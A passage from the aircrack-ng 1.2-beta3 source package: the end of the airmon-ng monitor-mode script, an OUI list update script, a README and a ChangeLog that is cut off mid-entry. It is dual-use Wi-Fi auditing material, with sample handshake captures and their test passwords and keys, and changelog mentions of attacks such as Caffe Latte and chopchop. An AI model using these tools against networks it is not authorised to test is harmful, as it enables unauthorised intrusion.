then printf "$iface\t\tHermesI\t\torinoco" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=orinoco,$iface,HermesI" >>$KISMET if [ $CH -lt 1000 ] then iwconfig $iface mode Monitor channel $CH >/dev/null 2>&1 else iwconfig $iface mode Monitor freq "$CH"000000 >/dev/null 2>&1 fi iwpriv $iface monitor 1 $CH >/dev/null 2>&1 ifconfig $iface up printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then ifconfig $iface down iwpriv $iface monitor 0 >/dev/null 2>&1 iwconfig $iface mode Managed >/dev/null 2>&1 printf " (monitor mode disabled)" fi echo continue fi if [ x$DRIVER = "xrtl819xU" ] then printf "$iface\t\tRealtek 819x\trtl819xU" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xipw2100" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_crc_check`" != "x" ] then printf "$iface\t\tIntel 2100B\tipw2100" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=ipw2100,$iface,Centrino_b" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xarusb_lnx" ] || [ x$DRIVER = "Otus" ] then printf "$iface\t\tAR9001USB\tOtus" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then echo "Monitor mode not yet supported" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xWiLink" ] then getChipset $iface printf "$iface\t\t${CHIPSET}\t\t${DRIVER}" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then printf "\n\t\t\t\tMonitor mode not yet supported" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xipw2200" ] || [ x"`iwpriv $iface 2>/dev/null | grep sw_reset`" != "x" ] then MODINFO=`modinfo ipw2200 2>/dev/null | awk '/^version/ {print $2}'` if { echo "$MODINFO" | grep -E '^1\.0\.(0|1|2|3)$' ; } then echo "Monitor mode not supported, please upgrade" else printf "$iface\t\tIntel 2200BG\tipw2200" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=ipw2200,$iface,Centrino_g" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi if { echo "$MODINFO" | grep -E '^1\.0\.(5|7|8|11)$' ; } then printf " (Warning: bad module version, you should upgrade)" fi fi echo continue fi if [ x$DRIVER = "xcx3110x" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_backscan`" != "x" ] then printf "$iface\t\tNokia 770\t\tcx3110x" if [ x$1 = "xstart" ] || [ x$1 = "xstop" ] then printf " (Enable/disable monitor mode not yet supported)" fi echo continue fi if [ x$DRIVER = "xipw3945" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_preamble | grep -v set_crc_check`" != "x" ] then printf "$iface\t\tIntel 3945ABG\tipw3945" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=ipw3945,$iface,Centrino_g" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x"`iwpriv $iface 2>/dev/null | grep inact_auth`" != "x" ] then if [ -e "/proc/sys/net/$iface/%parent" ] then printf "$iface\t\tAtheros\t\tmadwifi-ng VAP (parent: `cat /proc/sys/net/$iface/%parent`)" if [ x$2 = x$iface ] && [ x$1 = "xstop" ] then wlanconfig $iface destroy printf " (VAP destroyed)" fi if [ x$1 = "xstart" ] then if [ $iface = "$IFACE" ] then printf " (monitor mode enabled)" fi if [ x$2 = x$iface ] then printf " (VAP cannot be put in monitor mode)" fi fi echo "" continue fi printf "$iface\t\tAtheros\t\tmadwifi" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=madwifi_g,$iface,Atheros" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xprism54" ] || [ x"`iwpriv $iface 2>/dev/null | grep getPolicy`" != "x" ] then printf "$iface\t\tPrismGT\t\tprism54" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=prism54g,$iface,Prism54" >>$KISMET ifconfig $iface up if [ $CH -lt 1000 ] then iwconfig $iface mode Monitor channel $CH else iwconfig $iface mode Monitor freq "$CH"000000 fi iwpriv $iface set_prismhdr 1 >/dev/null 2>&1 printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xhostap" ] || [ x"`iwpriv $iface 2>/dev/null | grep antsel_rx`" != "x" ] then printf "$iface\t\tPrism 2/2.5/3\tHostAP" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=hostap,$iface,Prism2" >>$KISMET if [ $CH -lt 1000 ] then iwconfig $iface mode Monitor channel $CH else iwconfig $iface mode Monitor freq "$CH"000000 fi iwpriv $iface monitor_type 1 >/dev/null 2>&1 ifconfig $iface up printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xwlan-ng" ] || [ x"`wlancfg show $iface 2>/dev/null | grep p2CnfWEPFlags`" != "x" ] then printf "$iface\t\tPrism 2/2.5/3\twlan-ng" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=wlanng,$iface,Prism2" >>$KISMET wlanctl-ng $iface lnxreq_ifstate ifstate=enable >/dev/null wlanctl-ng $iface lnxreq_wlansniff enable=true channel=$CH \ prismheader=true wlanheader=false \ stripfcs=true keepwepflags=true >/dev/null echo p2CnfWEPFlags=0,4,7 | wlancfg set $iface ifconfig $iface up printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then ifconfig $iface down wlanctl-ng $iface lnxreq_wlansniff enable=false >/dev/null wlanctl-ng $iface lnxreq_ifstate ifstate=disable >/dev/null printf " (monitor mode disabled)" fi echo continue fi if [ x$SYSFS = "x" ] && [ x"`iwpriv $iface 2>/dev/null | grep get_RaAP_Cfg`" != "x" ] then if [ x"`iwconfig $iface | grep ESSID | awk -F\ '{ print $2}' | grep -i rt61`" != "x" ] then printf "$iface\t\tRalink 2561 PCI\trt61" fi if [ x"`iwconfig $iface | grep ESSID | awk -F\ '{ print $2}' | grep -i rt73`" != "x" ] then printf "$iface\t\tRalink 2573 USB\trt73" fi if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH iwpriv $iface rfmontx 1 if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] then iwpriv $iface forceprismheader 1 fi if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] then iwpriv $iface forceprism 1 fi fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xrt61" ] then printf "$iface\t\tRalink 2561 PCI\trt61" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH iwpriv $iface rfmontx 1 if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] then iwpriv $iface forceprismheader 1 fi if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] then iwpriv $iface forceprism 1 fi fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xrt73" ] then printf "$iface\t\tRalink 2573 USB\trt73" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH iwpriv $iface rfmontx 1 if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] then iwpriv $iface forceprismheader 1 fi if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] then iwpriv $iface forceprism 1 fi fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xrt2500" ] || [ x"`iwpriv $iface 2>/dev/null | grep bbp`" != "x" ] then printf "$iface\t\tRalink 2560 PCI\trt2500" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=rt2500,$iface,Ralink_g" >>$KISMET iwconfig $iface mode ad-hoc 2> /dev/null >/dev/null startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xrt2570" ] || [ x"`iwpriv $iface 2>/dev/null | grep wpapsk`" != "x" ] && [ x"`iwpriv $iface 2>/dev/null | grep get_RaAP_Cfg`" = "x" ] then printf "$iface\t\tRalink 2570 USB\trt2570" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=rt2500,$iface,Ralink_g" >>$KISMET iwconfig $iface mode ad-hoc 2> /dev/null >/dev/null startStdIface $iface $CH if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] then iwpriv $iface forceprismheader 1 fi if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] then iwpriv $iface forceprism 1 fi fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xr8180" ] || [ x"`iwpriv $iface 2>/dev/null | grep debugtx`" != "x" ] then printf "$iface\t\tRTL8180/RTL8185\tr8180" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=rt8180,$iface,Realtek" >>$KISMET if [ $CH -lt 1000 ] then iwconfig $iface mode Monitor channel $CH else iwconfig $iface mode Monitor freq "$CH"000000 fi if [ x"`iwpriv $iface 2>/dev/null | grep prismhdr`" != "x" ] then iwpriv $iface prismhdr 1 >/dev/null 2>&1 fi ifconfig $iface up printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xr8187" ] || [ x"`iwpriv $iface 2>/dev/null | grep badcrc`" != "x" ] then printf "$iface\t\tRTL8187\t\tr8187" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=rt8180,$iface,Realtek" >>$KISMET if [ $CH -lt 1000 ] then iwconfig $iface mode Monitor channel $CH else iwconfig $iface mode Monitor freq "$CH"000000 fi if [ x"`iwpriv $iface 2>/dev/null | grep rawtx`" != "x" ] then iwpriv $iface rawtx 1 >/dev/null 2>&1 fi ifconfig $iface up printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xzd1211rw" ] || [ x"`iwpriv $iface 2>/dev/null | grep get_regdomain`" != "x" ] then printf "$iface\t\tZyDAS 1211\tzd1211rw" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=zd1211,$iface,ZyDAS" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xzd1211" ] || [ x"`iwpriv $iface 2>/dev/null | grep dbg_flag`" != "x" ] then printf "$iface\t\tZyDAS 1211\tzd1211" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=zd1211,$iface,ZyDAS" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xacx" ] || [ x"`iwpriv $iface 2>/dev/null | grep GetAcx1`" != "x" ] then printf "$iface\t\tTI ACX1xx\tacx" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=acx100,$iface,TI" >>$KISMET iwpriv $iface monitor 2 $CH 2> /dev/null >/dev/null startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xbcm43xx" ] || [ x"`iwpriv $iface 2>/dev/null | grep write_sprom`" != "x" ] then printf "$iface\t\tBroadcom\tbcm43xx" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=bcm43xx,$iface,broadcom" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface ifconfig $iface up fi echo continue fi if [ x$DRIVER = "xislsm" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_announcedpkt`" != "x" ] then printf "$iface\t\tPrismGT\t\tislsm" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xat76c503a" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_announcedpkt`" != "x" ] then printf "$iface\t\tAtmel\t\tat76c503a" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xndiswrapper" ] || [ x"`iwpriv $iface 2>/dev/null | grep ndis_reset`" != "x" ] then printf "$iface\t\tUnknown\t\tndiswrapper" if [ x$2 = x$iface ] then echo " (MONITOR MODE NOT SUPPORTED)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER != "x" ] then if [ x$CHIPSET = "x" ] then printf "$iface\t\tUNKNOWN\t\t$DRIVER" else printf "$iface\t\t$CHIPSET\t\t$DRIVER" fi if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi printf "$iface\t\tUnknown\t\tUnknown (MONITOR MODE NOT SUPPORTED)\n" done echo if [ $UDEV_ISSUE != 0 ] ; then echo udev renamed the interface. Read the following for a solution: echo http://www.aircrack-ng.org/doku.php?id=airmon-ng#interface_athx_number_rising_ath0_ath1_ath2...._ath45 echo fi aircrack-ng-1.2-beta3/scripts/airodump-ng-oui-update0000644000000000000000000000363412133330254021137 0ustar rootroot#!/bin/sh CURL=`which curl 2>/dev/null` WGET=`which wget 2>/dev/null` OUI_DOWNLOAD_URL="http://standards.ieee.org/develop/regauth/oui/oui.txt" OUI_PATH0="/etc/aircrack-ng" OUI_PATH1="/usr/local/etc/aircrack-ng" OUI_PATH2="/usr/share/aircrack-ng" if [ -d "$OUI_PATH0" ]; then OUI_PATH="$OUI_PATH0" elif [ -d "$OUI_PATH1" ]; then OUI_PATH="$OUI_PATH1" elif [ -d "$OUI_PATH2" ]; then OUI_PATH="$OUI_PATH2" else # default OUI_PATH="$OUI_PATH0" fi AIRODUMP_NG_OUI="${OUI_PATH}/airodump-ng-oui.txt" OUI_IEEE="${OUI_PATH}/oui.txt" USERID="" # Make sure the user is root if [ x"`which id 2> /dev/null`" != "x" ] then USERID="`id -u 2> /dev/null`" fi if [ x$USERID = "x" -a x$UID != "x" ] then USERID=$UID fi if [ x$USERID != "x" -a x$USERID != "x0" ] then echo Run it as root ; exit ; fi if [ ! -d "${OUI_PATH}" ]; then mkdir -p ${OUI_PATH} fi if [ ${CURL} ] || [ ${WGET} ]; then # Delete previous partially downloaded file (if the script was aborted) rm -f ${OUI_IEEE} >/dev/null 2>/dev/null # Download it echo "[*] Downloading IEEE OUI file..." if [ ${WGET} ]; then ${WGET} ${OUI_DOWNLOAD_URL} -O ${OUI_IEEE} >/dev/null 2>/dev/null else ${CURL} -L ${OUI_DOWNLOAD_URL} > ${OUI_IEEE} 2>/dev/null fi if [ "${?}" -ne 0 ]; then echo "[*] Error: Failed to download OUI list, aborting..." exit 1 fi # Parse the downloaded OUI list echo "[*] Parsing OUI file..." # Keep the previous file if [ -f "${OUI_DOWNLOADED}" ]; then mv ${AIRODUMP_NG_OUI} ${OUI}-old fi # Parse it grep "(hex)" ${OUI_IEEE} | sed 's/^[ \t]*//g;s/[ \t]*$//g' > ${AIRODUMP_NG_OUI} if [ "${?}" -ne 0 ]; then echo "[*] Error: Failed to parse OUI, aborting..." exit 1 fi # Cleanup rm -f ${OUI_IEEE} echo "[*] Airodump-ng OUI file successfully updated" else if [ -f "${OUI}" ]; then echo "[*] Please install curl or wget to update OUI list" else echo "[*] Please install curl or wget to install OUI list" fi exit 1 fi exit 0 aircrack-ng-1.2-beta3/AUTHORS0000644000000000000000000000005410761053203014273 0ustar rootrootThomas d'Otreppe aircrack-ng-1.2-beta3/README0000644000000000000000000001163012316412446014113 0ustar rootrootDocumentation, tutorials, ... can be found on http://www.aircrack-ng.org See also manpages and the forum. Installing ========== This version now requires more libraries than 0.X versions to be compiled. See INSTALLING file for more information OpenWrt Devices =============== You can use airodump-ng on OpenWrt devices. You'll have to use specify prism0 as interface. Airodump-ng will automatically create it. Rq: Aireplay DOESN'T work on OpenWrt (2.4 kernel) with broadcom chipset since the driver doesn't support injection. It *may* work with 2.6 kernels >= 2.6.24 (kamikaze 8.09+ custom-built). Known bugs: =========== Drivers ------- Madwifi-ng ---------- The cause of most of these problems (1, 2 and 3) is that Madwifi-ng cannot easily change the rate in monitor mode. Technically, when changing rate while in monitor mode, the raw socket gets invalidated and we have to get it again. Madwifi-ng is getting replaced by several drivers: ath5k, ath9k and ar9170. Problem 1: No client can associate to an airbase soft AP. Solution 1: None at this time. Problem 2: When changing rate while you are capturing packet makes airodump-ng stall Solution 2: Restart airodump-ng or change rate before starting it. Problem 3: After some time it stops capturing packets and you're really sure no network manager are running at all. Solution 3: That's a known bug in the driver, it may happen at any time (the time before it fails can vary a lot: from 5 minutes to 50 or even more). Try (as root) unloading completely the driver with 'madwifi-unload' and then run 'modprobe ath_pci autocreate=monitor'. Problem 4: When creating a new VAP airodump-ng takes up to 10-15 seconds to see the first packet Solution 4: It's the behaviour of madwifi-ng, don't worry (... be happy ;)). Orinoco ------- Problem: BSSID is not reported correctly or is 00:00:00:00:00:00 or signal is not reported correctly. Solution: None. Consider replacing your card, orinoco is really really old. Aircrack-ng ----------- Aireplay-ng ----------- Problem: Fakeauth on a WRT54G with WEP (shared authentication) doesn't work. Solution: None at this time (we'll try to fix it for next release). Airolib-ng ---------- Problem: On windows only, opening/creating a database doesn't work when airolib-ng is in directories containing special characters like 'ç', 'é', 'è', 'à', ... (directories containing spaces are not affected). Reason: It's a SQLite issue. Solution: Rename the directory or move the database into another directory. Airodump-ng ----------- Problem: Airodump-ng stop working after some time. Solution 1: You may have a network manager running that puts back the card in managed mode. You'll have to disable it (the fastest solution is killing the process) then restart airodump-ng. Solution 2: See Problem 3 of Madwifi-ng. Problem: On windows, it doesn't display a list of adapters like the old 0.X Solution: It requires you to develop your own DLL. Cygwin ------ Problem: Aircrack-ng doesn't build on Cygwin64 Solution: None at this time. Build it using 32 bit cygwin. Sample files ============ wep.open.system.authentication.cap: It show a connexion (authentication then association) to a WEP network (open authentication). wep.shared.key.authentication.cap: It shows a connexion (authentication then association to a WEP network (shared authentication). The difference with open authentication is that the client has to encrypt a challenge text and send it back (encrypted) to the AP to prove it has the right key. wpa.cap: This is a sample file with a WPA handshake. It is located in the test/ directory of the install files. The passphrase is 'biscotte'. Use the password file (password.lst) which is in the same directory. wpa2.eapol.cap: This is a sample file with a WPA2 handshake. It is located in the test/ directory of the install files. The passphrase is '12345678'. Use the password file (password.lst) which is in the same directory. test.ivs (http://download.aircrack-ng.org/wiki-files/other/test.ivs): This is a 128 bit WEP key file. The key is AE:5B:7F:3A:03:D0:AF:9B:F6:8D:A5:E2:C7. ptw.cap (http://dl.aircrack-ng.org/ptw.cap): This is a 64 bit WEP key file suitable for the PTW method. The key is '1F:1F:1F:1F:1F'. wpa-psk-linksys.cap: This is a sample file with a WPA1 handshake along with some encrypted packets. Useful for testing with airdecap-ng. The password is 'dictionary'. wpa2-psk-linksys.cap: This is a sample file with a WPA2 handshake along with some encrypted packets. Useful for testing with airdecap-ng. The password is 'dictionary'. password.lst This is a sample wordlist for WPA key cracking. More wordlists can be found at http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists password.db This is a sample airolib-ng database for WPA key cracking. aircrack-ng-1.2-beta3/ChangeLog0000644000000000000000000013221112316414264015004 0ustar rootrootVersion 1.2-beta3 (changes from aircrack-ng 1.2-beta2) - Released 31 March 2014: * Finally properly fixed the buffer overflow. * Fixed channel parsing (eg 108, 125) and updated radiotap parser. * Various other small fixes. Version 1.2-beta2 (changes from aircrack-ng 1.2-beta1) - Released 30 November 2013: * Airbase-ng: Fixed order of IE when creating soft Access Point. * Airbase-ng: Fixed Caffe Latte Attack not working for all clients. * Aircrack-ng: Improved PTW speed thanks to Ramiro Polla. * Airmon-zc: Fixed improper use of the interface. * Airdecap-ng: Fixed decoding captures with WMM enabled. * Various: Fixed memory leaks in Aircrack-ng, Aireplay-ng, OSdep. * Added support for static analysis using Coverity Scan. * Fixed compilation due to PIC unfriendly assembly on Gentoo hardened. * Fixed running tests using 'make check'. * Fixed building aircrack-ng with recent version of gcc and also on cygwin. * Various other small fixes. Version 1.2-beta1 (changes from aircrack-ng 1.1) - Released 25 May 2013: * Airmon-ng: Added chipset information for ar9170usb, wl, rt2800usb, ar9271, wl12xx, RT3070STA, ath9k_htc, r871x_usb_drv, ath5k, carl9170 and various Intel drivers. * Airmon-ng: Fixed chipset information ipw2200. * Airmon-ng: Fixed output for r8187 driver. * Airmon-ng: Improved chipset information for a few drivers. * Airmon-ng: Support for displaying information about ath9k. * Airmon-ng: Added 'check kill' to automatically kill services that could interfere. * Airmon-ng: Fixed issues with Intel chipsets detection. * Airmon-ng: Updated iw download link. * Airmon-ng: Better mac80211 handling * Airmon-ng: Added detection for WiLink TI driver, rtl819xU, iwlwifi. * Airmon-zc: Improved version of Airmon-ng with more detailled information. * Airdecap-ng: Fixed decoding QoS frames (Closes: #667 and #858). * Airgraph-ng: Use Aircrack-ng Makefile instead of its own. * Airbase-ng: Fixed bug using clients list. * Airbase-ng: Fixed issue with QoS (ticket #760). * Airbase-ng: Fixed sending beacons with null SSID. * Airbase-ng: Allow non ASCII ESSID * Airodump-ng: Fixed buffer overflow (ticket #728). * Airodump-ng: Fixed channel parsing. * Airodump-ng: Fixed FreeBSD battery reading. * Airodump-ng: Renamed "Packets" column to "Frames" ("Packets" was not correct). * Airodump-ng: Fixed XML bugs when outputting NetXML: ESSID containing '&' or chinese characters, when multiple encryption are used. * Airodump-ng: Add alternative paths for Airodump-ng OUI file. * Airodump-ng: Added GPSd 2.92+ support (JSON). * Airodump-ng: Add option --manufacturer to display manufacturer column on airodump-ng. * Airodump-ng: Add feature to show APs uptime (--uptime) based on the timestamp. * Airodump-ng-OUI-update: Fixed OUI URL and allow CURL redirect (ticket #829). * Airdrop-ng: removed .py from file names. * Airdrop-ng: Fixed bug in installer. * Airdrop-ng: Fixed OUI lookup. * Airdrop-ng: Fixed bug when several BSSID have the same ESSID. * Airdrop-ng: Doesn't constantly parse anymore, wait 5 seconds each time it parses. * Airdrop-ng: Fixed crash when failing to get channel or when rules file didn't exist. * Airdrop-ng: Fixed to use lorcon.py/lorcon2 libs. * Airdrop-ng: Updated README. * Airdrop-ng: Fixed error preventing update to work. * Versuck-ng: New script to do the same thing as the kismet autowep plugin from the CLI. * Aircrack-ng: Fixed counter display error when cracking WPA. * Aircrack-ng: Added output of the WPA handshake to EWSA project file. * Aircrack-ng: Added output of the WPA handshake to oclhashcat+ project file. * Aircrack-ng: Added benchmark option, -S. * Aircrack-ng: Fixed -u option. * Aircrack-ng: PIC fix for hardened systems from Francisco Blas Izquierdo Riera (klondike) * Aircrack-ng: Allow dictionaries larger than 2Gb. * Aircrack-ng: Give a better message when there's an error with the dictionary. * Aircrack-ng: Prevent a buffer overflow from happening (Wojciech Waga). * Aireplay-ng: Added migration mode attack from Leandro Meiners and Diego Sor from Core Security (BlackHat Las Vegas 2010) * Aireplay-ng, Airodump-ng: Added option to ignore issue with -1 channel. * Airserv-ng: Fixed crash when clients disconnect. * Besside-ng-crawler: Added EAPOL Crawler. * Airdecloak-ng: Fixed bug when using pcap files with PPI headers. * dcrack: Distributed cracking server/client * wifi-detect.sh: reference script for testing wifi card detection using iwconfig vs ls /sys/class/net * WPA Clean: Tool to merge and clean WPA capture files. * Wireless Panda: C# Library to parse Airodump-ng output files (and added example project). * OSdep (Linux): Setting fixed bitrates on mac80211 2.6.31 and up. * OSdep (Linux): Added support for nl80211 thanks to impulse32. Use 'make libnl=true' to add netlink support (Ticket #1004). * Manpages: Improvement and fixes for Airgraph-ng, Airodump-ng, packetforge-ng, Aircrack-ng * Manpages: Fixed various spelling issues and single quote issues. * Makefiles: Added tests for the different tools. * Makefiles: Various fixes and improvements. * Makefiles: Added support for libgrypt instead of OpenSSL via parameter. * Patches: Added a few patches. * Removed useless script: patchchk. * Finally fixed licensing issues. * Fixed endianness issues in most of the tools. * Fixed cppcheck errors (Ticket #957). * Fixed various compilation issues on Linux and Cygwin, GNU/Hurd, Darwin (OSX) and Sparc. * Fixed compilation on recent gcc versions on Linux, Cygwin. * Added instructions for Travis CI: Free Hosted Continuous Integration Platform for the Open Source Community. * Added Readme.Md for GitHub. Aircrack-ng subversion repository is synced on GitHub: http://github.com/aircrack-ng/aircrack-ng * Various other small bug fixes. Version 1.1 (changes from aircrack-ng 1.0) - Released 24 April 2010: * airdrop-ng: New tool by TheX1le. * airodump-ng, aircrack-ng, airdecap-ng, airbase-ng: Fixed buffer overflow in airodump-ng due to forged eapol frame. * aircrack-ng: Fixed multicast detection (WPA handshake detection). * airodump-ng: Added interaction (see wiki for the commands). * airodump-ng: Fixed client time in netxml file. * airtun-ng: Add WDS and bridge support. * airbase-ng: automatically set privacy bit to 1 if WPA or WPA2 is used (-Z or -z option). * airmon-ng: Updated iw URL for v0.9.19. * airdriver-ng: Fixed link for madwifi-ng. * aireplay-ng: Chopchop enhancement to not stop but wait on deauth packets. * tkiptun-ng: Fixed segfault. * wesside-ng: Fixed compilation bug with recent version of gcc. * cygwin: Compiling sqlite isn't necessary anymore, libsqlite3-devel package can be used. * osdep: Strict aliasing and x86_64 fix. * osdep: Add tap support for Darwin/OS X. Still require tuntaposx from sourceforge to work. * All: Fixed compilation on cygwin 1.7. * All: Fixed compilation on recent version of OSX. * manpages: Fixed aireplay-ng manpage for attack 0: not disassociation packets, deauth packets. * manpages: Added the keys for interaction in airodump-ng. * patches: Added regulatory domains override patches for atheros drivers (ath5k, ath9k and ar9170). * patches: Added 2.6.32 patch for r8187 driver (ieee80211). * Makefiles: Fixed make uninstall. Version 1.0 (changes from aircrack-ng 1.0-rc4) - Released 08 September 2009: * airserv-ng: Now works fine between 32 and 64bit OSes. * wesside-ng: Fixed some endianness bugs * airodump-ng-oui-update: Make sure the user is root when updating the file. * airmon-ng: Updated iw download link (0.9.17). * All: Fixed compilation with some gcc. * patches: Added missing patches from patches.aircrack-ng.org: mac80211_2.6.28-rc4-wl_frag+ack_v3.patch * manpage: Updated aireplay-ng manpage. * INSTALLING: Removed (now) useless requirement for OSX installation. * GUI (windows): Fixed 2nd selection of a capture file. Version 1.0-rc4 (changes from aircrack-ng 1.0-rc3) - Released 27 July 2009: * airodump-ng: Decreased time before writing text files to 5 sec (instead of 20). * airodump-ng: New option --output-format option (to replace --nocap): specify output files. * airodump-ng: Fixed encryption tag value in kismet netxml files. * airodump-ng: Sanitize essid before writing it into kismet netxml files. * airodump-ng: Log manufacturer into kismet netxml files. * aireplay-ng: Fake auth: reduce the number of ACKs to 2 per packet. * aireplay-ng: Added possibility to stop sending fake auth requests after n retry failures. * aircrack-ng: Fixed compilation on FreeBSD. * aircrack-ng: Fixed aircrack-ng --help on OSX. * airmon-ng: Updated iw download link (0.9.15). * airmon-ng: Fix chipset detection for iwlagn (show "Intel 4965/5xxx" instead of "Unknown"). * airmon-ng: Display a message when udev rename madwifi-ng VAPs. * airmon-ng: sleep 1s instead of 0.1 (0.1 is not supported by all distro). * airolib-ng: Fixed locked database counter. * airdriver-ng: Updated to rt2570 k2wrlz v1.6.3 * airdriver-ng: Updated r8187 patch. * aircrack-ng, airdecap-ng, ivstools, airodump-ng, airbase-ng, aireplay-ng, airtun-ng, packetforge-ng, tkiptun-ng: Added support for PPI captures support (Thanks to dragorn). * airdecap-ng: Fixed segfault on some capture files. * wesside-ng, easside-ng: "ERROR: Packet length changed while transmitting (XX instead of YY)" should finaly be fixed. * All: Added compatibility file for functions like cpu_to_le32. That should fix compilation on a lot of OSes. * All: Temporary fix to allow compilation with recent gcc (Error message: "dereferencing type-punned pointer will break strict-aliasing rules"). I hope it doesn't break anything. A cleaner fix will be applied later. * INSTALLING: OSX patch for Intel CPU isn't required anymore * INSTALLING: Updated instructions to compile sqlite on cygwin for 3.6.16. * patches: Updated sqlite (v3.6.13) patch for cygwin. * patches: Updated wlanng patch for 